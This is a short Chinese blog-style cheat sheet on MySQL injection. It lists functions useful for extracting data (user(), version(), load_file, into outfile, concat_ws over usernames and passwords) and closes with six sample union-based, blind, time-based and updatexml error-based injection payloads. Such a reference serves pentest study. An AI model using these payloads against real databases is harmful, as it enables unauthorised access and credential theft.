mysql注入方法邏輯運算及常用函式

weixin_33912445發表於2018-07-04
  • system_user() 系統使用者名稱 select system_user()
  • user() 使用者名稱 select user()
  • current_user() 當前使用者名稱 select current_user()
  • session_user() 連線資料庫的使用者名稱 select session_user()
  • database() 資料庫名 use security; select dadatabase()
  • version() 資料庫版本 select version();
  • @@version 資料庫版本
  • @@datadir 資料庫路徑
  • @@basedir 資料庫安裝路徑
  • @@version_compile_os 作業系統
  • count() 返回執行結果數量
  • concat() 沒有分割符地字串 select concat(username,password) from users;
  • concat_ws() 含有分割符地連線字串 select concat_ws(':', username, password) from users; select concat_ws(0x7e, username, password) from users;
  • group_concat() 連線一個組的所有字串,並以逗號分隔每一條資料 select group_concat(username) from users;
  • load_file() 讀取本地檔案 select load_file('/tmp/mysql');
  • into outfile 寫檔案 select 'mysql' into outfile '/tmp/mysql'
  • ascii() 字串的ASCII程式碼值
  • ord() 返回字串第一個字元的ASCII值
  • mid() 返回一個字串的一部分 select mid('mysql',1,1);
  • substr() 返回一個字串的一部分 select substr('mysql',1,1);
  • length() 返回字串的長度
  • left() 返回字串最左邊的幾個字元 select left('mysql',2);
  • floor() 返回小於或等於x的最大整數 select floor(5.9);
  • rand() 返回0和1之間的一個隨機數
  • extractvalue()
  • updatexml()
  • sleep()
  • if() select if(1>2,2,3);
  • char() 返回ASCII程式碼字元組成的字串
  • strcmp 比較字串 大1 ,小-1, =是0
  • ifnull() 假如引數1不為NULL,則返回值為引數1,否則返回值為引數2 select ifnull(1,2); select ifnull(null,2);
  • exp() 返回e的x次方 select exp(1);
11075536-f74cacdecc49a743.png
mysql運算子.png
  • between and
    select id,username from users where id between 1 and 4;
  • in
    select id,username from users where username in ('admin', 'tesdt');
  • like
    select id,username from users where username like 'ad';
    select id,username from users where username like '%ad%';
  • REGEXP 正則匹配
    select user() regexp '^faf';

MySql邏輯運算

  • and
  • or

MySql注入語句樣例分析:

1,  and 1=2 union select 1,2,3-- 

2,  select user() regexp '^ro'

3, ascii(substr((select user()),1,1))=114

4,  if(ascii(substr((select user()),1,1))=114,0,sleep(5))

5, (ascii(substr((select table_name from information_schema.tables where  
   table_schema=database() limit 0,1),1,1))=9) 

6, updatexml(1,concat(0x7e,(select @@version),0x73),1)


相關文章